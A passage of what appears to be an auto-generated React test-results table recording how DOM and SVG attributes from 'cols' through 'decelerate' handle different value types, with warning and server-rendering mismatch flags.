`<number: 20>` |\n| `cols=(integer)`| (changed)| `<number: 1>` |\n| `cols=(NaN)`| (initial, warning)| `<number: 20>` |\n| `cols=(float)`| (changed)| `<number: 99>` |\n| `cols=(true)`| (initial, warning)| `<number: 20>` |\n| `cols=(false)`| (initial, warning)| `<number: 20>` |\n| `cols=(string 'true')`| (initial)| `<number: 20>` |\n| `cols=(string 'false')`| (initial)| `<number: 20>` |\n| `cols=(string 'on')`| (initial)| `<number: 20>` |\n| `cols=(string 'off')`| (initial)| `<number: 20>` |\n| `cols=(symbol)`| (initial, warning)| `<number: 20>` |\n| `cols=(function)`| (initial, warning)| `<number: 20>` |\n| `cols=(null)`| (initial)| `<number: 20>` |\n| `cols=(undefined)`| (initial)| `<number: 20>` |\n\n## `colSpan` (on `<td>` inside `<tr>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `colSpan=(string)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(empty string)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(array with string)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(empty array)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(object)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(numeric string)`| (changed, ssr error, ssr mismatch)| `<number: 42>` |\n| `colSpan=(-1)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(0)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(integer)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(NaN)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(float)`| (changed, ssr error, ssr mismatch)| `<number: 99>` |\n| `colSpan=(true)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(false)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(string 'true')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(string 'false')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(string 'on')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(string 'off')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(symbol)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(function)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(null)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `colSpan=(undefined)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n\n## `content` (on `<meta>` inside `<head>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `content=(string)`| (changed)| `\"a string\"` |\n| `content=(empty string)`| (initial)| `<empty string>` |\n| `content=(array with string)`| (changed)| `\"string\"` |\n| `content=(empty array)`| (initial)| `<empty string>` |\n| `content=(object)`| (changed)| `\"result of toString()\"` |\n| `content=(numeric string)`| (changed)| `\"42\"` |\n| `content=(-1)`| (changed)| `\"-1\"` |\n| `content=(0)`| (changed)| `\"0\"` |\n| `content=(integer)`| (changed)| `\"1\"` |\n| `content=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `content=(float)`| (changed)| `\"99.99\"` |\n| `content=(true)`| (initial, warning)| `<empty string>` |\n| `content=(false)`| (initial, warning)| `<empty string>` |\n| `content=(string 'true')`| (changed)| `\"true\"` |\n| `content=(string 'false')`| (changed)| `\"false\"` |\n| `content=(string 'on')`| (changed)| `\"on\"` |\n| `content=(string 'off')`| (changed)| `\"off\"` |\n| `content=(symbol)`| (initial, warning)| `<empty string>` |\n| `content=(function)`| (initial, warning)| `<empty string>` |\n| `content=(null)`| (initial)| `<empty string>` |\n| `content=(undefined)`| (initial)| `<empty string>` |\n\n## `contentEditable` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `contentEditable=(string)`| (initial)| `\"inherit\"` |\n| `contentEditable=(empty string)`| (changed)| `\"true\"` |\n| `contentEditable=(array with string)`| (initial)| `\"inherit\"` |\n| `contentEditable=(empty array)`| (changed)| `\"true\"` |\n| `contentEditable=(object)`| (initial)| `\"inherit\"` |\n| `contentEditable=(numeric string)`| (initial)| `\"inherit\"` |\n| `contentEditable=(-1)`| (initial)| `\"inherit\"` |\n| `contentEditable=(0)`| (initial)| `\"inherit\"` |\n| `contentEditable=(integer)`| (initial)| `\"inherit\"` |\n| `contentEditable=(NaN)`| (initial, warning)| `\"inherit\"` |\n| `contentEditable=(float)`| (initial)| `\"inherit\"` |\n| `contentEditable=(true)`| (changed)| `\"true\"` |\n| `contentEditable=(false)`| (changed)| `\"false\"` |\n| `contentEditable=(string 'true')`| (changed)| `\"true\"` |\n| `contentEditable=(string 'false')`| (changed)| `\"false\"` |\n| `contentEditable=(string 'on')`| (initial)| `\"inherit\"` |\n| `contentEditable=(string 'off')`| (initial)| `\"inherit\"` |\n| `contentEditable=(symbol)`| (initial, warning)| `\"inherit\"` |\n| `contentEditable=(function)`| (initial, warning)| `\"inherit\"` |\n| `contentEditable=(null)`| (initial)| `\"inherit\"` |\n| `contentEditable=(undefined)`| (initial)| `\"inherit\"` |\n\n## `contentScriptType` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `contentScriptType=(string)`| (changed, ssr mismatch)| `\"a string\"` |\n| `contentScriptType=(empty string)`| (changed, ssr mismatch)| `<empty string>` |\n| `contentScriptType=(array with string)`| (changed, ssr mismatch)| `\"string\"` |\n| `contentScriptType=(empty array)`| (changed, ssr mismatch)| `<empty string>` |\n| `contentScriptType=(object)`| (changed, ssr mismatch)| `\"result of toString()\"` |\n| `contentScriptType=(numeric string)`| (changed, ssr mismatch)| `\"42\"` |\n| `contentScriptType=(-1)`| (changed, ssr mismatch)| `\"-1\"` |\n| `contentScriptType=(0)`| (changed, ssr mismatch)| `\"0\"` |\n| `contentScriptType=(integer)`| (changed, ssr mismatch)| `\"1\"` |\n| `contentScriptType=(NaN)`| (changed, warning, ssr mismatch)| `\"NaN\"` |\n| `contentScriptType=(float)`| (changed, ssr mismatch)| `\"99.99\"` |\n| `contentScriptType=(true)`| (initial, warning)| `<null>` |\n| `contentScriptType=(false)`| (initial, warning)| `<null>` |\n| `contentScriptType=(string 'true')`| (changed, ssr mismatch)| `\"true\"` |\n| `contentScriptType=(string 'false')`| (changed, ssr mismatch)| `\"false\"` |\n| `contentScriptType=(string 'on')`| (changed, ssr mismatch)| `\"on\"` |\n| `contentScriptType=(string 'off')`| (changed, ssr mismatch)| `\"off\"` |\n| `contentScriptType=(symbol)`| (initial, warning)| `<null>` |\n| `contentScriptType=(function)`| (initial, warning)| `<null>` |\n| `contentScriptType=(null)`| (initial)| `<null>` |\n| `contentScriptType=(undefined)`| (initial)| `<null>` |\n\n## `contentStyleType` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `contentStyleType=(string)`| (changed, ssr mismatch)| `\"a string\"` |\n| `contentStyleType=(empty string)`| (changed, ssr mismatch)| `<empty string>` |\n| `contentStyleType=(array with string)`| (changed, ssr mismatch)| `\"string\"` |\n| `contentStyleType=(empty array)`| (changed, ssr mismatch)| `<empty string>` |\n| `contentStyleType=(object)`| (changed, ssr mismatch)| `\"result of toString()\"` |\n| `contentStyleType=(numeric string)`| (changed, ssr mismatch)| `\"42\"` |\n| `contentStyleType=(-1)`| (changed, ssr mismatch)| `\"-1\"` |\n| `contentStyleType=(0)`| (changed, ssr mismatch)| `\"0\"` |\n| `contentStyleType=(integer)`| (changed, ssr mismatch)| `\"1\"` |\n| `contentStyleType=(NaN)`| (changed, warning, ssr mismatch)| `\"NaN\"` |\n| `contentStyleType=(float)`| (changed, ssr mismatch)| `\"99.99\"` |\n| `contentStyleType=(true)`| (initial, warning)| `<null>` |\n| `contentStyleType=(false)`| (initial, warning)| `<null>` |\n| `contentStyleType=(string 'true')`| (changed, ssr mismatch)| `\"true\"` |\n| `contentStyleType=(string 'false')`| (changed, ssr mismatch)| `\"false\"` |\n| `contentStyleType=(string 'on')`| (changed, ssr mismatch)| `\"on\"` |\n| `contentStyleType=(string 'off')`| (changed, ssr mismatch)| `\"off\"` |\n| `contentStyleType=(symbol)`| (initial, warning)| `<null>` |\n| `contentStyleType=(function)`| (initial, warning)| `<null>` |\n| `contentStyleType=(null)`| (initial)| `<null>` |\n| `contentStyleType=(undefined)`| (initial)| `<null>` |\n\n## `contextMenu` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `contextMenu=(string)`| (changed)| `\"a string\"` |\n| `contextMenu=(empty string)`| (changed)| `<empty string>` |\n| `contextMenu=(array with string)`| (changed)| `\"string\"` |\n| `contextMenu=(empty array)`| (changed)| `<empty string>` |\n| `contextMenu=(object)`| (changed)| `\"result of toString()\"` |\n| `contextMenu=(numeric string)`| (changed)| `\"42\"` |\n| `contextMenu=(-1)`| (changed)| `\"-1\"` |\n| `contextMenu=(0)`| (changed)| `\"0\"` |\n| `contextMenu=(integer)`| (changed)| `\"1\"` |\n| `contextMenu=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `contextMenu=(float)`| (changed)| `\"99.99\"` |\n| `contextMenu=(true)`| (initial, warning)| `<null>` |\n| `contextMenu=(false)`| (initial, warning)| `<null>` |\n| `contextMenu=(string 'true')`| (changed)| `\"true\"` |\n| `contextMenu=(string 'false')`| (changed)| `\"false\"` |\n| `contextMenu=(string 'on')`| (changed)| `\"on\"` |\n| `contextMenu=(string 'off')`| (changed)| `\"off\"` |\n| `contextMenu=(symbol)`| (initial, warning)| `<null>` |\n| `contextMenu=(function)`| (initial, warning)| `<null>` |\n| `contextMenu=(null)`| (initial)| `<null>` |\n| `contextMenu=(undefined)`| (initial)| `<null>` |\n\n## `controls` (on `<video>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `controls=(string)`| (changed)| `<boolean: true>` |\n| `controls=(empty string)`| (initial)| `<boolean: false>` |\n| `controls=(array with string)`| (changed)| `<boolean: true>` |\n| `controls=(empty array)`| (changed)| `<boolean: true>` |\n| `controls=(object)`| (changed)| `<boolean: true>` |\n| `controls=(numeric string)`| (changed)| `<boolean: true>` |\n| `controls=(-1)`| (changed)| `<boolean: true>` |\n| `controls=(0)`| (initial)| `<boolean: false>` |\n| `controls=(integer)`| (changed)| `<boolean: true>` |\n| `controls=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `controls=(float)`| (changed)| `<boolean: true>` |\n| `controls=(true)`| (changed)| `<boolean: true>` |\n| `controls=(false)`| (initial)| `<boolean: false>` |\n| `controls=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `controls=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `controls=(string 'on')`| (changed)| `<boolean: true>` |\n| `controls=(string 'off')`| (changed)| `<boolean: true>` |\n| `controls=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `controls=(function)`| (initial, warning)| `<boolean: false>` |\n| `controls=(null)`| (initial)| `<boolean: false>` |\n| `controls=(undefined)`| (initial)| `<boolean: false>` |\n\n## `coords` (on `<a>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `coords=(string)`| (changed)| `\"a string\"` |\n| `coords=(empty string)`| (initial)| `<empty string>` |\n| `coords=(array with string)`| (changed)| `\"string\"` |\n| `coords=(empty array)`| (initial)| `<empty string>` |\n| `coords=(object)`| (changed)| `\"result of toString()\"` |\n| `coords=(numeric string)`| (changed)| `\"42\"` |\n| `coords=(-1)`| (changed)| `\"-1\"` |\n| `coords=(0)`| (changed)| `\"0\"` |\n| `coords=(integer)`| (changed)| `\"1\"` |\n| `coords=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `coords=(float)`| (changed)| `\"99.99\"` |\n| `coords=(true)`| (initial, warning)| `<empty string>` |\n| `coords=(false)`| (initial, warning)| `<empty string>` |\n| `coords=(string 'true')`| (changed)| `\"true\"` |\n| `coords=(string 'false')`| (changed)| `\"false\"` |\n| `coords=(string 'on')`| (changed)| `\"on\"` |\n| `coords=(string 'off')`| (changed)| `\"off\"` |\n| `coords=(symbol)`| (initial, warning)| `<empty string>` |\n| `coords=(function)`| (initial, warning)| `<empty string>` |\n| `coords=(null)`| (initial)| `<empty string>` |\n| `coords=(undefined)`| (initial)| `<empty string>` |\n\n## `crossOrigin` (on `<script>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `crossOrigin=(string)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(empty string)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(array with string)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(empty array)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(object)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(numeric string)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(-1)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(0)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(integer)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(NaN)`| (changed, warning)| `\"anonymous\"` |\n| `crossOrigin=(float)`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(true)`| (initial, warning)| `<null>` |\n| `crossOrigin=(false)`| (initial, warning)| `<null>` |\n| `crossOrigin=(string 'true')`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(string 'false')`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(string 'on')`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(string 'off')`| (changed)| `\"anonymous\"` |\n| `crossOrigin=(symbol)`| (initial, warning)| `<null>` |\n| `crossOrigin=(function)`| (initial, warning)| `<null>` |\n| `crossOrigin=(null)`| (initial)| `<null>` |\n| `crossOrigin=(undefined)`| (initial)| `<null>` |\n\n## `cursor` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `cursor=(string)`| (changed)| `\"a string\"` |\n| `cursor=(empty string)`| (changed)| `<empty string>` |\n| `cursor=(array with string)`| (changed)| `\"string\"` |\n| `cursor=(empty array)`| (changed)| `<empty string>` |\n| `cursor=(object)`| (changed)| `\"result of toString()\"` |\n| `cursor=(numeric string)`| (changed)| `\"42\"` |\n| `cursor=(-1)`| (changed)| `\"-1\"` |\n| `cursor=(0)`| (changed)| `\"0\"` |\n| `cursor=(integer)`| (changed)| `\"1\"` |\n| `cursor=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `cursor=(float)`| (changed)| `\"99.99\"` |\n| `cursor=(true)`| (initial, warning)| `<null>` |\n| `cursor=(false)`| (initial, warning)| `<null>` |\n| `cursor=(string 'true')`| (changed)| `\"true\"` |\n| `cursor=(string 'false')`| (changed)| `\"false\"` |\n| `cursor=(string 'on')`| (changed)| `\"on\"` |\n| `cursor=(string 'off')`| (changed)| `\"off\"` |\n| `cursor=(symbol)`| (initial, warning)| `<null>` |\n| `cursor=(function)`| (initial, warning)| `<null>` |\n| `cursor=(null)`| (initial)| `<null>` |\n| `cursor=(undefined)`| (initial)| `<null>` |\n\n## `cx` (on `<circle>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `cx=(string)`| (changed)| `<SVGLength: 10px>` |\n| `cx=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `cx=(array with string)`| (changed)| `<SVGLength: 10px>` |\n| `cx=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `cx=(object)`| (initial)| `<SVGLength: 0>` |\n| `cx=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `cx=(-1)`| (changed)| `<SVGLength: -1>` |\n| `cx=(0)`| (initial)| `<SVGLength: 0>` |\n| `cx=(integer)`| (changed)| `<SVGLength: 1>` |\n| `cx=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `cx=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `cx=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `cx=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `cx=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `cx=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `cx=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `cx=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `cx=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `cx=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `cx=(null)`| (initial)| `<SVGLength: 0>` |\n| `cx=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `cy` (on `<circle>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `cy=(string)`| (changed)| `<SVGLength: 10%>` |\n| `cy=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `cy=(array with string)`| (changed)| `<SVGLength: 10%>` |\n| `cy=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `cy=(object)`| (initial)| `<SVGLength: 0>` |\n| `cy=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `cy=(-1)`| (changed)| `<SVGLength: -1>` |\n| `cy=(0)`| (initial)| `<SVGLength: 0>` |\n| `cy=(integer)`| (changed)| `<SVGLength: 1>` |\n| `cy=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `cy=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `cy=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `cy=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `cy=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `cy=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `cy=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `cy=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `cy=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `cy=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `cy=(null)`| (initial)| `<SVGLength: 0>` |\n| `cy=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `d` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `d=(string)`| (changed)| `\"a string\"` |\n| `d=(empty string)`| (changed)| `<empty string>` |\n| `d=(array with string)`| (changed)| `\"string\"` |\n| `d=(empty array)`| (changed)| `<empty string>` |\n| `d=(object)`| (changed)| `\"result of toString()\"` |\n| `d=(numeric string)`| (changed)| `\"42\"` |\n| `d=(-1)`| (changed)| `\"-1\"` |\n| `d=(0)`| (changed)| `\"0\"` |\n| `d=(integer)`| (changed)| `\"1\"` |\n| `d=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `d=(float)`| (changed)| `\"99.99\"` |\n| `d=(true)`| (initial, warning)| `<null>` |\n| `d=(false)`| (initial, warning)| `<null>` |\n| `d=(string 'true')`| (changed)| `\"true\"` |\n| `d=(string 'false')`| (changed)| `\"false\"` |\n| `d=(string 'on')`| (changed)| `\"on\"` |\n| `d=(string 'off')`| (changed)| `\"off\"` |\n| `d=(symbol)`| (initial, warning)| `<null>` |\n| `d=(function)`| (initial, warning)| `<null>` |\n| `d=(null)`| (initial)| `<null>` |\n| `d=(undefined)`| (initial)| `<null>` |\n\n## `dangerouslySetInnerHTML` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dangerouslySetInnerHTML=(string)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(empty string)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(array with string)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(empty array)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(object)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(numeric string)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(-1)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(0)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(integer)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(NaN)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(float)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(true)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(false)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(string 'true')`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(string 'false')`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(string 'on')`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(string 'off')`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(symbol)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(function)`| (changed, error, warning, ssr error)| `` |\n| `dangerouslySetInnerHTML=(null)`| (initial)| `<null>` |\n| `dangerouslySetInnerHTML=(undefined)`| (initial)| `<null>` |\n\n## `DangerouslySetInnerHTML` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `DangerouslySetInnerHTML=(string)`| (changed, warning)| `\"a string\"` |\n| `DangerouslySetInnerHTML=(empty string)`| (changed, warning)| `<empty string>` |\n| `DangerouslySetInnerHTML=(array with string)`| (changed, warning)| `\"string\"` |\n| `DangerouslySetInnerHTML=(empty array)`| (changed, warning)| `<empty string>` |\n| `DangerouslySetInnerHTML=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `DangerouslySetInnerHTML=(numeric string)`| (changed, warning)| `\"42\"` |\n| `DangerouslySetInnerHTML=(-1)`| (changed, warning)| `\"-1\"` |\n| `DangerouslySetInnerHTML=(0)`| (changed, warning)| `\"0\"` |\n| `DangerouslySetInnerHTML=(integer)`| (changed, warning)| `\"1\"` |\n| `DangerouslySetInnerHTML=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `DangerouslySetInnerHTML=(float)`| (changed, warning)| `\"99.99\"` |\n| `DangerouslySetInnerHTML=(true)`| (initial, warning)| `<null>` |\n| `DangerouslySetInnerHTML=(false)`| (initial, warning)| `<null>` |\n| `DangerouslySetInnerHTML=(string 'true')`| (changed, warning)| `\"true\"` |\n| `DangerouslySetInnerHTML=(string 'false')`| (changed, warning)| `\"false\"` |\n| `DangerouslySetInnerHTML=(string 'on')`| (changed, warning)| `\"on\"` |\n| `DangerouslySetInnerHTML=(string 'off')`| (changed, warning)| `\"off\"` |\n| `DangerouslySetInnerHTML=(symbol)`| (initial, warning)| `<null>` |\n| `DangerouslySetInnerHTML=(function)`| (initial, warning)| `<null>` |\n| `DangerouslySetInnerHTML=(null)`| (initial, warning)| `<null>` |\n| `DangerouslySetInnerHTML=(undefined)`| (initial, warning)| `<null>` |\n\n## `data` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `data=(string)`| (changed)| `\"a string\"` |\n| `data=(empty string)`| (changed)| `<empty string>` |\n| `data=(array with string)`| (changed)| `\"string\"` |\n| `data=(empty array)`| (changed)| `<empty string>` |\n| `data=(object)`| (changed)| `\"result of toString()\"` |\n| `data=(numeric string)`| (changed)| `\"42\"` |\n| `data=(-1)`| (changed)| `\"-1\"` |\n| `data=(0)`| (changed)| `\"0\"` |\n| `data=(integer)`| (changed)| `\"1\"` |\n| `data=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `data=(float)`| (changed)| `\"99.99\"` |\n| `data=(true)`| (initial, warning)| `<null>` |\n| `data=(false)`| (initial, warning)| `<null>` |\n| `data=(string 'true')`| (changed)| `\"true\"` |\n| `data=(string 'false')`| (changed)| `\"false\"` |\n| `data=(string 'on')`| (changed)| `\"on\"` |\n| `data=(string 'off')`| (changed)| `\"off\"` |\n| `data=(symbol)`| (initial, warning)| `<null>` |\n| `data=(function)`| (initial, warning)| `<null>` |\n| `data=(null)`| (initial)| `<null>` |\n| `data=(undefined)`| (initial)| `<null>` |\n\n## `data-` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `data-=(string)`| (changed)| `\"a string\"` |\n| `data-=(empty string)`| (changed)| `<empty string>` |\n| `data-=(array with string)`| (changed)| `\"string\"` |\n| `data-=(empty array)`| (changed)| `<empty string>` |\n| `data-=(object)`| (changed)| `\"result of toString()\"` |\n| `data-=(numeric string)`| (changed)| `\"42\"` |\n| `data-=(-1)`| (changed)| `\"-1\"` |\n| `data-=(0)`| (changed)| `\"0\"` |\n| `data-=(integer)`| (changed)| `\"1\"` |\n| `data-=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `data-=(float)`| (changed)| `\"99.99\"` |\n| `data-=(true)`| (changed)| `\"true\"` |\n| `data-=(false)`| (changed)| `\"false\"` |\n| `data-=(string 'true')`| (changed)| `\"true\"` |\n| `data-=(string 'false')`| (changed)| `\"false\"` |\n| `data-=(string 'on')`| (changed)| `\"on\"` |\n| `data-=(string 'off')`| (changed)| `\"off\"` |\n| `data-=(symbol)`| (initial, warning)| `<null>` |\n| `data-=(function)`| (initial, warning)| `<null>` |\n| `data-=(null)`| (initial)| `<null>` |\n| `data-=(undefined)`| (initial)| `<null>` |\n\n## `data-unknownattribute` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `data-unknownattribute=(string)`| (changed)| `\"a string\"` |\n| `data-unknownattribute=(empty string)`| (changed)| `<empty string>` |\n| `data-unknownattribute=(array with string)`| (changed)| `\"string\"` |\n| `data-unknownattribute=(empty array)`| (changed)| `<empty string>` |\n| `data-unknownattribute=(object)`| (changed)| `\"result of toString()\"` |\n| `data-unknownattribute=(numeric string)`| (changed)| `\"42\"` |\n| `data-unknownattribute=(-1)`| (changed)| `\"-1\"` |\n| `data-unknownattribute=(0)`| (changed)| `\"0\"` |\n| `data-unknownattribute=(integer)`| (changed)| `\"1\"` |\n| `data-unknownattribute=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `data-unknownattribute=(float)`| (changed)| `\"99.99\"` |\n| `data-unknownattribute=(true)`| (changed)| `\"true\"` |\n| `data-unknownattribute=(false)`| (changed)| `\"false\"` |\n| `data-unknownattribute=(string 'true')`| (changed)| `\"true\"` |\n| `data-unknownattribute=(string 'false')`| (changed)| `\"false\"` |\n| `data-unknownattribute=(string 'on')`| (changed)| `\"on\"` |\n| `data-unknownattribute=(string 'off')`| (changed)| `\"off\"` |\n| `data-unknownattribute=(symbol)`| (initial, warning)| `<null>` |\n| `data-unknownattribute=(function)`| (initial, warning)| `<null>` |\n| `data-unknownattribute=(null)`| (initial)| `<null>` |\n| `data-unknownattribute=(undefined)`| (initial)| `<null>` |\n\n## `datatype` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `datatype=(string)`| (changed)| `\"a string\"` |\n| `datatype=(empty string)`| (changed)| `<empty string>` |\n| `datatype=(array with string)`| (changed)| `\"string\"` |\n| `datatype=(empty array)`| (changed)| `<empty string>` |\n| `datatype=(object)`| (changed)| `\"result of toString()\"` |\n| `datatype=(numeric string)`| (changed)| `\"42\"` |\n| `datatype=(-1)`| (changed)| `\"-1\"` |\n| `datatype=(0)`| (changed)| `\"0\"` |\n| `datatype=(integer)`| (changed)| `\"1\"` |\n| `datatype=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `datatype=(float)`| (changed)| `\"99.99\"` |\n| `datatype=(true)`| (initial, warning)| `<null>` |\n| `datatype=(false)`| (initial, warning)| `<null>` |\n| `datatype=(string 'true')`| (changed)| `\"true\"` |\n| `datatype=(string 'false')`| (changed)| `\"false\"` |\n| `datatype=(string 'on')`| (changed)| `\"on\"` |\n| `datatype=(string 'off')`| (changed)| `\"off\"` |\n| `datatype=(symbol)`| (initial, warning)| `<null>` |\n| `datatype=(function)`| (initial, warning)| `<null>` |\n| `datatype=(null)`| (initial)| `<null>` |\n| `datatype=(undefined)`| (initial)| `<null>` |\n\n## `dateTime` (on `<time>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dateTime=(string)`| (changed)| `\"2001-05-15T19:00\"` |\n| `dateTime=(empty string)`| (changed)| `<empty string>` |\n| `dateTime=(array with string)`| (changed)| `\"2001-05-15T19:00\"` |\n| `dateTime=(empty array)`| (changed)| `<empty string>` |\n| `dateTime=(object)`| (changed)| `\"result of toString()\"` |\n| `dateTime=(numeric string)`| (changed)| `\"42\"` |\n| `dateTime=(-1)`| (changed)| `\"-1\"` |\n| `dateTime=(0)`| (changed)| `\"0\"` |\n| `dateTime=(integer)`| (changed)| `\"1\"` |\n| `dateTime=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `dateTime=(float)`| (changed)| `\"99.99\"` |\n| `dateTime=(true)`| (initial, warning)| `<null>` |\n| `dateTime=(false)`| (initial, warning)| `<null>` |\n| `dateTime=(string 'true')`| (changed)| `\"true\"` |\n| `dateTime=(string 'false')`| (changed)| `\"false\"` |\n| `dateTime=(string 'on')`| (changed)| `\"on\"` |\n| `dateTime=(string 'off')`| (changed)| `\"off\"` |\n| `dateTime=(symbol)`| (initial, warning)| `<null>` |\n| `dateTime=(function)`| (initial, warning)| `<null>` |\n| `dateTime=(null)`| (initial)| `<null>` |\n| `dateTime=(undefined)`| (initial)| `<null>` |\n\n## `decelerate` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `decelerate=(string)`| (changed)| `\"a string\"` |\n| `decelerate=(empty string)`| (changed)| `<empty string>` |\n| `decelerate=(array with string)`| (changed)| `\"string\"` |\n| 